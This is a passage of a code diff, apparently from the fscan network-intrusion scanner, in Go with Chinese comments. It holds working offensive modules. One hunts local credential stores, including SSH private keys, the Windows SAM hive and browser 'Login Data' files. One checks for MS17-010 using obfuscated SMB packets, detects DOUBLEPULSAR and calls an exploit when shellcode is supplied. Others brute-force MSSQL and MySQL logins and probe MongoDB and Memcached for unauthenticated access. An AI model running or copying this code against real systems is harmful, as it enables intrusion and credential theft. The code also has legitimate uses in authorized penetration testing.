"/etc/nginx/nginx.conf",
"/etc/nginx/conf.d/nginx.conf",
// 系统配置文件
"/etc/hosts.deny",
"/etc/bashrc",
"/etc/issue",
"/etc/issue.net",
"/etc/ssh/ssh_config",
"/etc/termcap",
"/etc/xinetd.d/*",
"/etc/mtab",
"/etc/vsftpd/vsftpd.conf",
"/etc/xinetd.conf",
"/etc/protocols",
"/etc/logrotate.conf",
"/etc/ld.so.conf",
"/etc/resolv.conf",
"/etc/sysconfig/network",
"/etc/sendmail.cf",
"/etc/sendmail.cw",
// proc信息
"/proc/mounts",
"/proc/cpuinfo",
"/proc/meminfo",
"/proc/self/environ",
"/proc/1/cmdline",
"/proc/1/mountinfo",
"/proc/1/fd/*",
"/proc/1/exe",
"/proc/config.gz",
// 用户配置文件
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.ssh/id_rsa.keystore",
"/root/.ssh/id_rsa.pub",
"/root/.ssh/known_hosts",
"/root/.bash_history",
"/root/.mysql_history",
}
// Windows系统关键配置文件
windowsSystemPaths = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
)
func LocalInfoScan(info *Common.HostInfo) (err error) {
fmt.Println("[+] LocalInfo扫描模块开始...")
home, err := os.UserHomeDir()
if err != nil {
errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err)
Common.LogError(errlog)
return err
}
// 扫描固定位置
scanFixedLocations(home)
// 规则搜索
searchSensitiveFiles()
fmt.Println("[+] LocalInfo扫描模块结束...")
return nil
}
func scanFixedLocations(home string) {
var paths []string
switch runtime.GOOS {
case "windows":
// 添加Windows固定路径
paths = append(paths, windowsSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
case "linux":
// 添加Linux固定路径
paths = append(paths, linuxSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
filepath.Join(home, ".mozilla", "firefox"),
}...)
}
for _, path := range paths {
// 处理通配符路径
if strings.Contains(path, "*") {
var _ = strings.ReplaceAll(path, "*", "")
if files, err := filepath.Glob(path); err == nil {
for _, file := range files {
checkAndLogFile(file)
}
}
continue
}
checkAndLogFile(path)
}
}
func checkAndLogFile(path string) {
if _, err := os.Stat(path); err == nil {
result := fmt.Sprintf("[+] Found sensitive file: %s", path)
Common.LogSuccess(result)
}
}
func searchSensitiveFiles() {
var searchPaths []string
switch runtime.GOOS {
case "windows":
// Windows下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux":
// Linux下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"/home",
"/opt",
"/usr/local",
"/var/www",
"/var/log",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
}
// 在限定目录下搜索
for _, searchPath := range searchPaths {
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 跳过黑名单目录和文件
for _, black := range blacklist {
if strings.Contains(strings.ToLower(path), black) {
return filepath.SkipDir
}
}
// 检查白名单关键词
for _, white := range whitelist {
fileName := strings.ToLower(info.Name())
if strings.Contains(fileName, white) {
result := fmt.Sprintf("[+] Found potential sensitive file: %s", path)
Common.LogSuccess(result)
break
}
}
return nil
})
}
}
File diff suppressed because it is too large Load Diff
-231
View File
@@ -1,231 +0,0 @@
package Plugins
import (
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"log"
"strings"
"time"
)
var (
// SMB协议加密的请求数据
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
// SMB协议解密后的请求数据
negotiateProtocolRequest []byte
sessionSetupRequest []byte
treeConnectRequest []byte
transNamedPipeRequest []byte
trans2SessionSetupRequest []byte
)
func init() {
var err error
// 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil {
log.Fatalf("解密协议请求失败: %v", err)
}
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码协议请求失败: %v", err)
}
// 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil {
log.Fatalf("解密会话请求失败: %v", err)
}
sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码会话请求失败: %v", err)
}
// 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil {
log.Fatalf("解密连接请求失败: %v", err)
}
treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码连接请求失败: %v", err)
}
// 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil {
log.Fatalf("解密管道请求失败: %v", err)
}
transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码管道请求失败: %v", err)
}
// 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil {
log.Fatalf("解密会话设置请求失败: %v", err)
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码会话设置请求失败: %v", err)
}
}
// MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error {
// 暴力破解模式下跳过扫描
if Common.IsBrute {
return nil
}
// 执行MS17-010漏洞扫描
err := MS17010Scan(info)
if err != nil {
Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err))
}
return err
}
// MS17010Scan 执行MS17-010漏洞扫描
func MS17010Scan(info *Common.HostInfo) error {
ip := info.Host
// 连接目标445端口
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
if err != nil {
return err
}
defer conn.Close()
// 设置连接超时
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return err
}
// 发送SMB协议协商请求
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return err
}
// 读取响应
reply := make([]byte, 1024)
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
// 检查协议响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return err
}
// 发送会话建立请求
if _, err = conn.Write(sessionSetupRequest); err != nil {
return err
}
// 读取响应
n, err := conn.Read(reply)
if err != nil || n < 36 {
return err
}
// 检查会话响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return errors.New("无法确定目标是否存在漏洞")
}
// 提取操作系统信息
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip)
} else {
// 查找Unicode字符串结束标记(两个连续的0字节)
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "", -1)
break
}
}
}
}
// 获取用户ID
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// 发送树连接请求
if _, err = conn.Write(treeConnectRequest); err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
// 获取树ID并设置后续请求
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
// 发送命名管道请求
if _, err = conn.Write(transNamedPipeRequest); err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
// 检查漏洞状态
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
// 目标存在MS17-010漏洞
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os))
// 如果指定了shellcode,执行漏洞利用
defer func() {
if Common.SC != "" {
MS17010EXP(info)
}
}()
// 检测DOUBLEPULSAR后门
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if reply[34] == 0x51 {
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip))
}
} else {
// 未检测到漏洞,仅输出系统信息
Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os))
}
return err
}
-81
View File
@@ -1,81 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MssqlScan 执行MSSQL服务扫描
func MssqlScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["mssql"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// MssqlConn 尝试MSSQL连接
func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v",
host, username, password, port, timeout,
)
// 建立数据库连接
db, err := sql.Open("mssql", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] MSSQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}
-48
View File
@@ -1,48 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MemcachedScan 检测Memcached未授权访问
func MemcachedScan(info *Common.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
timeout := time.Duration(Common.Timeout) * time.Second
// 建立TCP连接
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
if err != nil {
return err
}
defer client.Close()
// 设置超时时间
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
return err
}
// 发送stats命令
if _, err := client.Write([]byte("stats\n")); err != nil {
return err
}
// 读取响应
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err != nil {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog)
return err
}
// 检查响应内容
if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost)
Common.LogSuccess(result)
}
return nil
}
-108
View File
@@ -1,108 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MongodbScan 执行MongoDB未授权扫描
func MongodbScan(info *Common.HostInfo) error {
if Common.IsBrute {
return nil
}
_, err := MongodbUnauth(info)
if err != nil {
errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog)
}
return err
}
// MongodbUnauth 检测MongoDB未授权访问
func MongodbUnauth(info *Common.HostInfo) (bool, error) {
// MongoDB查询数据包
msgPacket := createOpMsgPacket()
queryPacket := createOpQueryPacket()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 尝试OP_MSG查询
reply, err := checkMongoAuth(realhost, msgPacket)
if err != nil {
// 失败则尝试OP_QUERY查询
reply, err = checkMongoAuth(realhost, queryPacket)
if err != nil {
return false, err
}
}
// 检查响应结果
if strings.Contains(reply, "totalLinesWritten") {
result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost)
Common.LogSuccess(result)
return true, nil
}
return false, nil
}
// checkMongoAuth 检查MongoDB认证状态
func checkMongoAuth(address string, packet []byte) (string, error) {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return "", err
}
defer conn.Close()
// 设置超时时间
if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return "", err
}
// 发送查询包
if _, err := conn.Write(packet); err != nil {
return "", err
}
// 读取响应
reply := make([]byte, 1024)
count, err := conn.Read(reply)
if err != nil {
return "", err
}
return string(reply[:count]), nil
}
// createOpMsgPacket 创建OP_MSG查询包
func createOpMsgPacket() []byte {
return []byte{
0x69, 0x00, 0x00, 0x00, // messageLength
0x39, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
0x00, 0x00, 0x00, 0x00, // flagBits
// sections db.adminCommand({getLog: "startupWarnings"})
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
}
}
// createOpQueryPacket 创建OP_QUERY查询包
func createOpQueryPacket() []byte {
return []byte{
0x48, 0x00, 0x00, 0x00, // messageLength
0x02, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
0x00, 0x00, 0x00, 0x00, // flags
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
0x00, 0x00, 0x00, 0x00, // numberToSkip
0x01, 0x00, 0x00, 0x00, // numberToReturn
// query db.adminCommand({getLog: "startupWarnings"})
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
}
}
-81
View File
@@ -1,81 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MysqlScan 执行MySQL服务扫描
func MysqlScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["mysql"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// MysqlConn 尝试MySQL连接
func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
username, password, host, port, timeout,
)
// 建立数据库连接
db, err := sql.Open("mysql", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] MySQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}
-367
View File
@@ -1,367 +0,0 @@
package Plugins
import (
"bytes"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"gopkg.in/yaml.v3"
"net"
"strconv"
"strings"
"time"
)
var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *Common.HostInfo) error {
netbios, _ := NetBIOS1(info)
output := netbios.String()
if len(output) > 0 {
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
Common.LogSuccess(result)
return nil
}
return errNetBIOS
}
func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info)
var payload0 []byte
if netbios.ServerService != "" || netbios.WorkstationService != "" {
ss := netbios.ServerService
if ss == "" {
ss = netbios.WorkstationService
}
name := netbiosEncode(ss)
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
payload0 = append(payload0, name...)
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
var conn net.Conn
conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if err != nil {
return
}
if info.Ports == "139" && len(payload0) > 0 {
_, err1 := conn.Write(payload0)
if err1 != nil {
return
}
_, err1 = ReadBytes(conn)
if err1 != nil {
return
}
}
_, err = conn.Write(NegotiateSMBv1Data1)
if err != nil {
return
}
_, err = ReadBytes(conn)
if err != nil {
return
}
_, err = conn.Write(NegotiateSMBv1Data2)
if err != nil {
return
}
var ret []byte
ret, err = ReadBytes(conn)
if err != nil {
return
}
netbios2, err := ParseNTLM(ret)
JoinNetBios(&netbios, &netbios2)
return
}
func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host)
conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if err != nil {
return
}
_, err = conn.Write(senddata1)
if err != nil {
return
}
text, _ := ReadBytes(conn)
netbios, err = ParseNetBios(text)
return
}
func bytetoint(text byte) (int, error) {
num1 := fmt.Sprintf("%v", text)
num, err := strconv.Atoi(num1)
return num, err
}
func netbiosEncode(name string) (output []byte) {
var names []int
src := fmt.Sprintf("%-16s", name)
for _, a := range src {
char_ord := int(a)
high_4_bits := char_ord >> 4
low_4_bits := char_ord & 0x0f
names = append(names, high_4_bits, low_4_bits)
}
for _, one := range names {
out := (one + 0x41)
output = append(output, byte(out))
}
return
}
var (
UNIQUE_NAMES = map[string]string{
"\x00": "WorkstationService",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "ServerService",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "DomainName",
"\x1C": "DomainControllers",
"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBiosComputerName",
"\x02\x00": "NetBiosDomainName",
"\x03\x00": "ComputerName",
"\x04\x00": "DomainName",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
NegotiateSMBv1Data1 = []byte{
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
}
NegotiateSMBv1Data2 = []byte{
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
}
)
type NetBiosInfo struct {
GroupName string
WorkstationService string `yaml:"WorkstationService"`
ServerService string `yaml:"ServerService"`
DomainName string `yaml:"DomainName"`
DomainControllers string `yaml:"DomainControllers"`
ComputerName string `yaml:"ComputerName"`
OsVersion string `yaml:"OsVersion"`
NetDomainName string `yaml:"NetBiosDomainName"`
NetComputerName string `yaml:"NetBiosComputerName"`
}
func (info *NetBiosInfo) String() (output string) {
var text string
//ComputerName 信息比较全
if info.ComputerName != "" {
if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" {
text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName)
} else {
text = info.ComputerName
}
} else {
//组信息
if info.DomainName != "" {
text += info.DomainName
text += "\\"
} else if info.NetDomainName != "" {
text += info.NetDomainName
text += "\\"
}
//机器名
if info.ServerService != "" {
text += info.ServerService
} else if info.WorkstationService != "" {
text += info.WorkstationService
} else if info.NetComputerName != "" {
text += info.NetComputerName
}
}
if text == "" {
